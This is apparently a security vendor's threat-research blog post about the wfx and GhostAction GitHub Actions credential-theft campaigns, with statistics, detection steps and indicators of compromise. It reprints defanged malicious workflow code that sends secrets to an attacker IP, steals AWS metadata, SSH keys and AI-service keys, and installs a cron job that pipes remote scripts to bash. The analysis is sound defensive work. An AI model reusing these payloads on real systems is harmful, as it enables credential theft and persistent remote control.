BACK

Real World Attacks

WFX and GhostAction: Tracing the Links Between Two GitHub Attacks

Ellie Jevon

12 Nov 2026

Real World Attacks

WFX and GhostAction: Tracing the Links Between Two GitHub Attacks

Ellie Jevon

12 Nov 2026

No headings found in content selector: .toc-content

At 12:45:20 UTC on 10th November 2026, seven unrelated GitHub accounts opened the same pull request against seven different repositories. All seven appeared in the same second.

Over the next two days, the pattern repeated tens of thousands of times.

The campaign has been called wfx-loot and WFX Phantom. Early reporting put the impact at 4,837 compromised accounts, 61,764 probe pull requests, at least 1,806 cases of confirmed exfiltration, and 8,093 repositories containing malicious commits. The numbers were still moving as we investigated.

Several research teams documented what wfx did once it reached a repository. We wanted to look further back: how had the attacker acquired so many GitHub credentials, and what could the earliest activity tell us?

We searched public GitHub data, examined the first 900 probe pull requests, and traced an overlap with an earlier campaign known as GhostAction. That overlap is significant.


How wfx works


image.png

The attacker opens a pull request titled docs: dependency audit notes from a branch named wfx-docs. It adds a two-line file, docs/wfx-audit.md. The pull request tests whether the credential the attacker holds can write to that repository.

Within roughly a minute, the attacker makes one of three changes:

  1. Injects ~ 1,500 lines into an existing GitHub Actions workflow, under the commit message ci: refresh build cache.

  2. Adds a hidden .ci-xxxxxx.sh script and an npm postinstall hook in package.json, under chore: add ci helper.

  3. Creates a new workflow on a temporary chore/ branch followed by eight random characters, under chore: add dependency audit workflow.

The code targets CI secrets, workflow tokens, cloud credentials accessible through OIDC, and information available on runners. Exfiltration endpoints included 194.150.166[.]244:8080/exfil (roughly half the samples), 18.143.168[.]96:8080/exfil, and 153.75.82[.]159:8080/exfil. From 01:10 UTC on 12th November, the attacker also used a Telegram chat for exfiltration, first as a fallback and then as the sole channel.

Finally the attacker reverses the changes with commits like ci: restore or ci: cleanup, then deletes the workflow run and its logs. The repository appears normal unless you check the history. One possible clue is a missing Actions run number: run #41 followed by run #43, for example.

By 07:40 UTC on 12th November security researchers had counted more than 63,000 probe pull requests. Our own search returned 64,737. Both figures capture a campaign that was still active at the time of analysis.


The first 74 minutes

We searched GitHub for the probe title, ordered the results by creation time, and pulled the earliest 900 results:

q = '"docs: dependency audit notes" in:title is:pr created:>=2026-11-10'
url = "https://api.github.com/search/issues?" + urllib.parse.urlencode(
{"q": q, "sort": "created", "order": "asc", "per_page": 100, "page": page}
)
q = '"docs: dependency audit notes" in:title is:pr created:>=2026-11-10'
url = "https://api.github.com/search/issues?" + urllib.parse.urlencode(
{"q": q, "sort": "created", "order": "asc", "per_page": 100, "page": page}
)
q = '"docs: dependency audit notes" in:title is:pr created:>=2026-11-10'
url = "https://api.github.com/search/issues?" + urllib.parse.urlencode(
{"q": q, "sort": "created", "order": "asc", "per_page": 100, "page": page}
)

Those 900 pull requests span the first 74 minutes of the campaign. The opening sequence stood out immediately.

image.png

The first thirteen pull requests look like a test run. Then activity stops for almost seventeen minutes before the attacker launches at much higher volume.

We cannot see what happened during that pause. The attacker may have been checking whether the first probes succeeded, but the timing alone cannot tell us. What it does show is that the campaign did not begin with a gradual trickle of newly compromised accounts. The attacker appears to have had a substantial pool of usable credentials ready before the larger launch.

What the tokens could do, across those 900 probes:

  • 65% targeted repositories the account owner controls; 26% repositories where they're a collaborator; the rest organization or contributor access.

  • 86% were PR #1: the first pull request that repository had ever received. These are small personal projects, not hand-picked targets.

  • Account ages run from GitHub's early years to 2026 with no cluster, and every author is a regular user account.

  • 894 of 900 PR bodies are word-for-word identical ("Routine dependency audit notes."). The other six differ only because AI review bots appended summaries. There are no per-victim tracking markers.

The script walked every repository each token could write to. That fits broad-scope credentials, the kind the GitHub CLI stores, rather than narrowly scoped CI tokens, which lines up with the one victim who reported a leaked gh OAuth token.

image.png


Following the GhostAction trail

An earlier campaign, GhostAction, offered another lead. Reports had noted that some accounts affected by GhostAction in October were also hit by wfx, and some repositories still contained a malicious workflow called security-audit.yml.

The IP address 193.32.204[.]199 had been identified in reporting as GhostAction infrastructure. We used it to search the public GitHub code index:

"193.32.204.199" path:.github/workflows
"193.32.204.199" path:.github/workflows
"193.32.204.199" path:.github/workflows

The search produced 217 file matches. After reviewing we identified 186 malicious workflow files across 134 accounts and organisations. Four of those accounts were no longer searchable at the time of our analysis.

The filenames were chosen to blend in: security-audit.yml, github_actions_security.yml, audit.yml, ci-check.yml, build-check.yml, code-review.yml, lint.yml, repo-health.yml, cleanup_cache.yml, cleanup-job.yml, cache-cleanup.yml, runner-maintenance.yml, and maintenance.yml.


How much overlap did we find?

Of the 130 GhostAction-affected accounts still searchable, 33 also authored wfx probe pull requests: around 25% of the group. Together, those accounts opened 653 probe pull requests, including 32 against repositories belonging to other users.

Twenty-eight of the 33 accounts first appeared in our wfx probe data on 10th November. The remaining five appeared the following day. In all 32 cross-repository cases examined, the GhostAction infection preceded the wfx activity.

Another ten GhostAction-affected accounts had their repositories probed by other compromised accounts, but did not themselves author wfx probes in our dataset. Counting those gives 43 of 130 accounts, or approximately 33%, touched by both campaigns in some form.

The overlap varied by GhostAction payload family:

image.png


The dates inside the payload labels

Some GhostAction files contained auto_YYYYMMDD labels. We compared those labels with the latest push times we observed.

image.png

The labels closely track when those batches were pushed. Some activity crossed midnight UTC while retaining the previous day's label, consistent with a batch named when it started.

We also saw signs of repeat targeting. Files carrying auto_20261013 and auto_20261021 labels sometimes replaced earlier malicious files, and some files first planted in September 2025 were updated on 20th – 21st October 2026. GhostAction was not always a one-time intrusion: some repositories were revisited.


What the GhostAction workflows actually did

We examined a sample from each variant, with the destination address defanged here as hxxp://193.32.204[.]199. We have omitted live secrets from the examples.

The workflows we examined were configured to run on push and workflow_dispatch. That means the malicious code could execute as soon as it was committed.


og1: send a repository secret to an external server

The simplest sample called itself Github Actions Security. Its job was named send-secrets:

name: Github Actions Security
on:
  workflow_dispatch:
  push:
permissions:
  id-token: write
  contents: read
jobs:
  send-secrets:
    runs-on: ubuntu-latest
    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
      - name: Github Actions Security
        run: |
          set +e
          curl -s -X POST -d 'CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}' hxxp://193.32.204[.]199:8080/?c=og1
name: Github Actions Security
on:
  workflow_dispatch:
  push:
permissions:
  id-token: write
  contents: read
jobs:
  send-secrets:
    runs-on: ubuntu-latest
    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
      - name: Github Actions Security
        run: |
          set +e
          curl -s -X POST -d 'CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}' hxxp://193.32.204[.]199:8080/?c=og1
name: Github Actions Security
on:
  workflow_dispatch:
  push:
permissions:
  id-token: write
  contents: read
jobs:
  send-secrets:
    runs-on: ubuntu-latest
    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
      - name: Github Actions Security
        run: |
          set +e
          curl -s -X POST -d 'CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}' hxxp://193.32.204[.]199:8080/?c=og1

It attempted to send a Cloudflare API token from the repository's secrets to a hard-coded IP address over HTTP.

The combination of set +e and silent curl output (-s) makes failures less obvious.


og2 and oidc_og2: turn OIDC access into AWS credentials

The OIDC variants go further. One sample requests a GitHub OIDC token with an AWS audience, searches environment variables for values shaped like IAM role ARNs, and attempts to exchange the token for temporary AWS credentials.

A shortened excerpt shows the mechanism:

TOK=$(curl -s -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# [... lines omitted ...]
            for var in $(compgen -v 2>/dev/null); do
              val="${!var}"
              case "$val" in
                arn:aws:iam::*:role/*)
# [... lines omitted ...]
                  RESP=$(aws sts assume-role-with-web-identity --role-arn "$val" --role-session-name "secret$j" --web-identity-token "$TOK" --duration-seconds 3600 2>&1)
# [... lines omitted ...]
          $RESP" hxxp://193.32.204[.]199:8080/?c=oidc_og2
TOK=$(curl -s -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# [... lines omitted ...]
            for var in $(compgen -v 2>/dev/null); do
              val="${!var}"
              case "$val" in
                arn:aws:iam::*:role/*)
# [... lines omitted ...]
                  RESP=$(aws sts assume-role-with-web-identity --role-arn "$val" --role-session-name "secret$j" --web-identity-token "$TOK" --duration-seconds 3600 2>&1)
# [... lines omitted ...]
          $RESP" hxxp://193.32.204[.]199:8080/?c=oidc_og2
TOK=$(curl -s -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# [... lines omitted ...]
            for var in $(compgen -v 2>/dev/null); do
              val="${!var}"
              case "$val" in
                arn:aws:iam::*:role/*)
# [... lines omitted ...]
                  RESP=$(aws sts assume-role-with-web-identity --role-arn "$val" --role-session-name "secret$j" --web-identity-token "$TOK" --duration-seconds 3600 2>&1)
# [... lines omitted ...]
          $RESP" hxxp://193.32.204[.]199:8080/?c=oidc_og2

In a repository whose AWS trust policy permits the exchange, the result can be live, temporary cloud credentials. The payload attempts to send those results to the attacker. The sample also included a separate request designed to transmit repository secrets; the victim example in our dataset referenced 61 named secrets.

The distinction matters: even repositories without long-lived AWS keys in their secrets may still expose cloud access through overly permissive OIDC trust.


p16n: search code history and use the victim's own gist as a fallback

The p16n variant checks out full Git history rather than a shallow copy:

      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
# [... lines omitted ...]
          gl=$(git log -p --all 2>/dev/null | head -200000)
# [... lines omitted ...]
              jq -n --arg c "$full" '{"description":"build cache","public":false,"files":{"c.dat":{"content":$c}}}' | curl -s -m 15 -X POST -H "Authorization: token $GITHUB_TOKEN" https://api.github.com/gists -d @- >/dev/null 2>&1 || true
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
# [... lines omitted ...]
          gl=$(git log -p --all 2>/dev/null | head -200000)
# [... lines omitted ...]
              jq -n --arg c "$full" '{"description":"build cache","public":false,"files":{"c.dat":{"content":$c}}}' | curl -s -m 15 -X POST -H "Authorization: token $GITHUB_TOKEN" https://api.github.com/gists -d @- >/dev/null 2>&1 || true
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0
# [... lines omitted ...]
          gl=$(git log -p --all 2>/dev/null | head -200000)
# [... lines omitted ...]
              jq -n --arg c "$full" '{"description":"build cache","public":false,"files":{"c.dat":{"content":$c}}}' | curl -s -m 15 -X POST -H "Authorization: token $GITHUB_TOKEN" https://api.github.com/gists -d @- >/dev/null 2>&1 || true

Its patterns look for AWS credentials; keys and tokens associated with Anthropic, OpenAI, OpenRouter, Groq, xAI, and Google; and credentials for Slack, SendGrid, GitLab, and GitHub.

The sample also attempts to clone and search the repository's wiki. If the main exfiltration endpoint cannot be reached, it can create a private GitHub gist inside the compromised account, with the description build cache and the collected material in c.dat.

That fallback is especially easy to miss. The data may remain in the victim's own account rather than appearing in an obvious outbound network transfer. It is worth checking private gists during incident response.


reinject: go after the self-hosted runner itself

1. Disguise and trigger

name: Cache Cleanup
on:
  workflow_dispatch:
  push:
jobs:
  cleanup:
    runs-on: self-hosted
    steps:
      - name: Cache
        shell: bash
        run: |
          set +e
name: Cache Cleanup
on:
  workflow_dispatch:
  push:
jobs:
  cleanup:
    runs-on: self-hosted
    steps:
      - name: Cache
        shell: bash
        run: |
          set +e
name: Cache Cleanup
on:
  workflow_dispatch:
  push:
jobs:
  cleanup:
    runs-on: self-hosted
    steps:
      - name: Cache
        shell: bash
        run: |
          set +e

The workflow calls itself "Cache Cleanup" in order to look like routine housekeeping. It runs on every push, so it starts the moment it's committed. The line runs-on: self-hosted: instead of GitHub's short-lived cloud runners, it targets the victim's own machines, which hold valuable credentials. set +e stops the script on no error, so a failed step never stops the theft.

2. Identifying the machine

r="rt=$GITHUB_REPOSITORY h=$(hostname) u=$(whoami)"
IP=$(ip -o addr show up 2>/dev/null | grep -oP 'inet \K[0-9.]+' | grep -v '^127' | head -5)
[ -z "$IP" ] && IP=$(hostname -I 2>/dev/null)
r="$r IPS=$IP"
r="rt=$GITHUB_REPOSITORY h=$(hostname) u=$(whoami)"
IP=$(ip -o addr show up 2>/dev/null | grep -oP 'inet \K[0-9.]+' | grep -v '^127' | head -5)
[ -z "$IP" ] && IP=$(hostname -I 2>/dev/null)
r="$r IPS=$IP"
r="rt=$GITHUB_REPOSITORY h=$(hostname) u=$(whoami)"
IP=$(ip -o addr show up 2>/dev/null | grep -oP 'inet \K[0-9.]+' | grep -v '^127' | head -5)
[ -z "$IP" ] && IP=$(hostname -I 2>/dev/null)
r="$r IPS=$IP"

It starts building a report with the repo name, the hostname, the user it's running as, and the IP addresses. This information is to inform the attacker which machine and which network they have gained access to.

3. Stealing the machine's cloud credentials

MT=$(curl -s -m 3 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 30" 2>/dev/null)
if [ -n "$MT" ]; then
  ROLE=$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null | head -1 | tr -d '\n ')
  if [ -n "$ROLE" ]; then
    r="$r IMDS_ROLE=$ROLE
$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" 2>/dev/null)"
  fi
fi
MT=$(curl -s -m 3 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 30" 2>/dev/null)
if [ -n "$MT" ]; then
  ROLE=$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null | head -1 | tr -d '\n ')
  if [ -n "$ROLE" ]; then
    r="$r IMDS_ROLE=$ROLE
$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" 2>/dev/null)"
  fi
fi
MT=$(curl -s -m 3 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 30" 2>/dev/null)
if [ -n "$MT" ]; then
  ROLE=$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null | head -1 | tr -d '\n ')
  if [ -n "$ROLE" ]; then
    r="$r IMDS_ROLE=$ROLE
$(curl -s -m 3 -H "X-aws-ec2-metadata-token: $MT" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" 2>/dev/null)"
  fi
fi

169.254.169.254 is the AWS instance metadata service, which every EC2 machine can reach. The script asks for a session token, finds the IAM role attached to the machine, and requests that role's temporary AWS access keys. If the runner is on AWS, the attacker now has whatever cloud access the machine has.

4. Reading credential files

for f in ~/.aws/credentials ~/.pypirc ~/.cargo/credentials ~/.gem/credentials ~/.netrc ~/.git-credentials ~/.npmrc ~/.claude/.credentials.json ~/.gemini/oauth_creds.json ~/.openai/auth.json ~/.cache/huggingface/token ~/.config/gh/hosts.yml ~/.docker/config.json ~/.kube/config ~/.oci/config; do
  if [ -f "$f" ]; then
    r="$r
FILE:$f
$(head -c 3000 "$f" 2>/dev/null)"
  fi
done
for f in ~/.aws/credentials ~/.pypirc ~/.cargo/credentials ~/.gem/credentials ~/.netrc ~/.git-credentials ~/.npmrc ~/.claude/.credentials.json ~/.gemini/oauth_creds.json ~/.openai/auth.json ~/.cache/huggingface/token ~/.config/gh/hosts.yml ~/.docker/config.json ~/.kube/config ~/.oci/config; do
  if [ -f "$f" ]; then
    r="$r
FILE:$f
$(head -c 3000 "$f" 2>/dev/null)"
  fi
done
for f in ~/.aws/credentials ~/.pypirc ~/.cargo/credentials ~/.gem/credentials ~/.netrc ~/.git-credentials ~/.npmrc ~/.claude/.credentials.json ~/.gemini/oauth_creds.json ~/.openai/auth.json ~/.cache/huggingface/token ~/.config/gh/hosts.yml ~/.docker/config.json ~/.kube/config ~/.oci/config; do
  if [ -f "$f" ]; then
    r="$r
FILE:$f
$(head -c 3000 "$f" 2>/dev/null)"
  fi
done

It goes through a list of files where developer tools store logins and copies up to 3,000 bytes of each one it finds:

  • Cloud: AWS, Kubernetes, Oracle Cloud

  • Package registries: PyPI, Cargo (Rust), RubyGems, npm

  • Git: ~/.git-credentials and ~/.netrc

  • AI tools: Claude, Gemini, OpenAI, Hugging Face

  • Docker

  • ~/.config/gh/hosts.yml, where the GitHub CLI stores its login token. That's the same token type a wfx victim confirmed was used to take over their account.

5. Copying SSH keys

for k in ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.ssh/id_ecdsa ~/.ssh/config ~/.ssh/known_hosts; do
  if [ -f "$k" ]; then
    r="$r
SSHKEY:$k
$(cat "$k" 2>/dev/null)"
  fi
done
for k in ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.ssh/id_ecdsa ~/.ssh/config ~/.ssh/known_hosts; do
  if [ -f "$k" ]; then
    r="$r
SSHKEY:$k
$(cat "$k" 2>/dev/null)"
  fi
done
for k in ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.ssh/id_ecdsa ~/.ssh/config ~/.ssh/known_hosts; do
  if [ -f "$k" ]; then
    r="$r
SSHKEY:$k
$(cat "$k" 2>/dev/null)"
  fi
done

It copies the machine's SSH private keys, plus the SSH config and known_hosts. This allows the attacker to push to GitHub as the owner, or log in to other servers.

6. Google Cloud and Azure logins

for d in ~/.config/gcloud ~/.azure; do
  if [ -d "$d" ]; then
    r="$r
DIR:$d
$(find "$d" -maxdepth 1 -name '*.json' -exec head -c 1500 {} \; 2>/dev/null | head -c 6000)"
  fi
done
for d in ~/.config/gcloud ~/.azure; do
  if [ -d "$d" ]; then
    r="$r
DIR:$d
$(find "$d" -maxdepth 1 -name '*.json' -exec head -c 1500 {} \; 2>/dev/null | head -c 6000)"
  fi
done
for d in ~/.config/gcloud ~/.azure; do
  if [ -d "$d" ]; then
    r="$r
DIR:$d
$(find "$d" -maxdepth 1 -name '*.json' -exec head -c 1500 {} \; 2>/dev/null | head -c 6000)"
  fi
done

It reads the JSON files where the Google Cloud and Azure command-line tools keep their login sessions.

7. Searching the disk for AWS keys

AK=$(timeout 10 grep -rhoE 'A[KS]IA[0-9A-Z]{16}' /home /root 2>/dev/null | sort -u | head -30)
[ -n "$AK" ] && r="$r
CREDS_ON_BOX=$AK"
AK=$(timeout 10 grep -rhoE 'A[KS]IA[0-9A-Z]{16}' /home /root 2>/dev/null | sort -u | head -30)
[ -n "$AK" ] && r="$r
CREDS_ON_BOX=$AK"
AK=$(timeout 10 grep -rhoE 'A[KS]IA[0-9A-Z]{16}' /home /root 2>/dev/null | sort -u | head -30)
[ -n "$AK" ] && r="$r
CREDS_ON_BOX=$AK"

It searches every file under /home and /root for anything that looks like an AWS access key ID (AKIA… or ASIA…).

8. Searching the disk for AI service keys

AIK=$(timeout 12 grep -rhoE 'sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9_-]{30,}|AIza[A-Za-z0-9_-]{35}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ya29\.[A-Za-z0-9_-]{30,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$AIK" ] && r="$r
AIKEYS_ON_BOX=$AIK"
AIK=$(timeout 12 grep -rhoE 'sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9_-]{30,}|AIza[A-Za-z0-9_-]{35}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ya29\.[A-Za-z0-9_-]{30,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$AIK" ] && r="$r
AIKEYS_ON_BOX=$AIK"
AIK=$(timeout 12 grep -rhoE 'sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-oat-[A-Za-z0-9_-]{20,}|sk-svcacct-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9_-]{30,}|AIza[A-Za-z0-9_-]{35}|gsk_[A-Za-z0-9]{30,}|xai-[A-Za-z0-9]{20,}|ya29\.[A-Za-z0-9_-]{30,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$AIK" ] && r="$r
AIKEYS_ON_BOX=$AIK"

The same disk-wide search, now for API keys from Anthropic (sk-ant-), OpenAI (sk-proj-, sk-svcacct-), OpenRouter (sk-or-v1-), Google (AIza, and ya29. OAuth tokens), Groq (gsk_) and xAI (xai-). It covers /opt and /srv too, where server software tends to live.

9. Searching the disk for GitHub and GitLab tokens

GTK=$(timeout 10 grep -rhoE 'ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghu_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$GTK" ] && r="$r
GITKEYS_ON_BOX=$GTK"
GTK=$(timeout 10 grep -rhoE 'ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghu_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$GTK" ] && r="$r
GITKEYS_ON_BOX=$GTK"
GTK=$(timeout 10 grep -rhoE 'ghp_[A-Za-z0-9]{36}|gho_[A-Za-z0-9]{36}|ghu_[A-Za-z0-9]{36}|ghs_[A-Za-z0-9]{36}|ghr_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{60,}|glpat-[A-Za-z0-9_-]{20,}' /home /root /opt /srv 2>/dev/null | sort -u | head -40)
[ -n "$GTK" ] && r="$r
GITKEYS_ON_BOX=$GTK"

This is the most important part for the wfx connection. It searches for every kind of GitHub token:

image.png

It also searches for GitLab tokens (glpat-).

10. Reading .env files

for e in $(timeout 8 find /home /root -maxdepth 3 -name '.env*' 2>/dev/null | head -8); do
  r="$r
ENVFILE:$e
$(head -c 2000 "$e" 2>/dev/null)"
done
for e in $(timeout 8 find /home /root -maxdepth 3 -name '.env*' 2>/dev/null | head -8); do
  r="$r
ENVFILE:$e
$(head -c 2000 "$e" 2>/dev/null)"
done
for e in $(timeout 8 find /home /root -maxdepth 3 -name '.env*' 2>/dev/null | head -8); do
  r="$r
ENVFILE:$e
$(head -c 2000 "$e" 2>/dev/null)"
done

It finds .env files in the home folders and copies them.

11. Reading environment variables

EV=$(env | grep -E '^AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GEMINI|GOOGLE_|AZURE_|_API_KEY=|_TOKEN=' | head -25)
[ -n "$EV" ] && r="$r
ENVVARS=$EV"
EV=$(env | grep -E '^AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GEMINI|GOOGLE_|AZURE_|_API_KEY=|_TOKEN=' | head -25)
[ -n "$EV" ] && r="$r
ENVVARS=$EV"
EV=$(env | grep -E '^AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GEMINI|GOOGLE_|AZURE_|_API_KEY=|_TOKEN=' | head -25)
[ -n "$EV" ] && r="$r
ENVVARS=$EV"

It takes any environment variables that look like creds: starting with AWS_, contain Anthropic, OpenAI, Gemini, Google or Azure, or ending in _API_KEY or _TOKEN.

12. Uploading everything

curl -s -m 20 -X POST --data-binary "$r" "hxxp://193.32.204[.]199:8080/?c=reinject" || true
curl -s -m 20 -X POST --data-binary "$r" "hxxp://193.32.204[.]199:8080/?c=reinject" || true
curl -s -m 20 -X POST --data-binary "$r" "hxxp://193.32.204[.]199:8080/?c=reinject" || true

The report goes to the attacker's server, over HTTP. ?c=reinject is the attacker's label. -s keeps it silent and || true hides failures, so the workflow run looks successful.

13. Installing a backdoor

(crontab -l 2>/dev/null | grep -v 'ghc2'; echo "*/5 * * * * curl -s -m 10 hxxp://193.32.204[.]199:8080/c2/\$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab - 2>/dev/null || true
(crontab -l 2>/dev/null | grep -v 'ghc2'; echo "*/5 * * * * curl -s -m 10 hxxp://193.32.204[.]199:8080/c2/\$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab - 2>/dev/null || true
(crontab -l 2>/dev/null | grep -v 'ghc2'; echo "*/5 * * * * curl -s -m 10 hxxp://193.32.204[.]199:8080/c2/\$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab - 2>/dev/null || true

It then adds a job to the machine's crontab that, every 5 minutes, downloads a script from the attacker (/c2/<hostname>, unique to each machine) and runs it with. This means the attacker will have ongoing remote control after the workflow finishes, even if the malicious workflow is deleted. To check a runner, look for ghc2 in crontab -l. If it's there, treat the machine as compromised.


The numbers, together

Measurement

Finding

Reported accounts compromised in wfx

4,837

wfx probe PRs returned by our search on 12 November 2026

64,737

Malicious GhostAction workflow files found

186

Accounts and organizations hosting those files

134 (130 still searchable)

Searchable GhostAction-affected accounts that authored wfx probes

33 of 130 (25%)

Searchable GhostAction-affected accounts touched by wfx in any way

43 of 130 (33%)

Cross-repository cases where GhostAction preceded wfx

32 of 32

GhostAction workflow files later injected into by wfx

18

ssh1 / ssh19 accounts that later authored wfx probes

21 of 43 (49%)

These figures represent different populations and methods. The reported campaign-wide counts should not be treated as directly interchangeable with our GitHub search results.


What we know, and what we don't

Our data establishes the early timing of wfx, the large-scale probe pattern, the surviving GhostAction workflows, and the measurable overlap between the two campaigns. We can also inspect what the GhostAction payloads were designed to collect.

The first 13 probes and the later burst suggest that the attacker started with a ready-made set of credentials. The access pattern is consistent with broadly authorised user tokens. But we have not established where all those credentials originated, or whether GhostAction and wfx share an operator.

The strongest connection is narrower, and more defensible: many accounts compromised through GhostAction were later used in wfx, and at least one GhostAction variant was built to steal the types of tokens that wfx uses.


How to check whether your repositories were affected

Repository and runner checks to prioritise during investigation.

Start with the evidence the attacker may have left behind:

  • Review GitHub Actions run history for unexplained missing run numbers, especially near commits titled ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow, ci: restore, or ci: cleanup.

  • Search pull requests for docs: dependency audit notes, branches named wfx-docs, and the file docs/wfx-audit.md.

  • Inspect .github/workflows for unexpected changes, outbound requests to the hosts below, or ?c= parameters associated with exfiltration.

  • Look for hidden .ci-xxxxxx.sh files and unexpected npm postinstall hooks.

  • Review private gists, particularly any described as build cache with a file named c.dat.

  • On self-hosted runners, check scheduled jobs for the ghc2 marker and investigate suspicious credential access or network traffic.

If you find evidence of compromise, assume that all secrets available to the affected workflow or host may have been exposed. Revoke affected GitHub personal access and OAuth tokens, rotate reachable secrets and cloud credentials, and review AWS OIDC trust relationships. Inspect account security events and authorized OAuth apps.

Remove malicious workflow files and hooks, but do not stop there: review commit history, including reverted changes and deleted runs. For a compromised self-hosted runner, isolate the machine and rebuild it from a trusted image. Finally, reduce workflow permissions, require review for sensitive workflow changes, and favour short-lived, narrowly scoped credentials.


Indicators of compromise

Indicator

Context

193.32.204[.]199

Reported GhostAction infrastructure; our samples used port 8080 and ?c= labels

194.150.166[.]244:8080/exfil

wfx exfiltration endpoint; seen in roughly half the samples

18.143.168[.]96:8080/exfil

wfx exfiltration endpoint

153.75.82[.]159:8080/exfil

wfx exfiltration endpoint

wfx-docs

Probe source branch

docs/wfx-audit.md

Two-line probe file

docs: dependency audit notes

Common probe PR title; not unique to wfx

ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow

Observed payload commit messages

ci: restore, ci: cleanup

Observed cleanup commit messages

ghc2

Cron marker in the examined reinject sample


A Note From Ossprey

What makes this attack particularly interesting is how it turns seemingly harmless GitHub activity into large-scale credential theft, while covering its tracks along the way. Our research also uncovered a significant overlap with an earlier campaign, raising questions about where the stolen credentials came from and how attackers might be reusing access.

At Ossprey, we help developers and security teams identify malicious and risky behaviour across open source packages, repositories and pull requests, including threats that traditional scanners might miss. By looking at what code actually does, rather than relying solely on known vulnerabilities or threat lists, Ossprey helps you spot potential threats before they reach your development environment or production.

Want to see what Ossprey can uncover in your software supply chain? Try Ossprey for free



SHARE

Subscribe Now. 

Subscribe Now. 

Subscribe Now. 

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.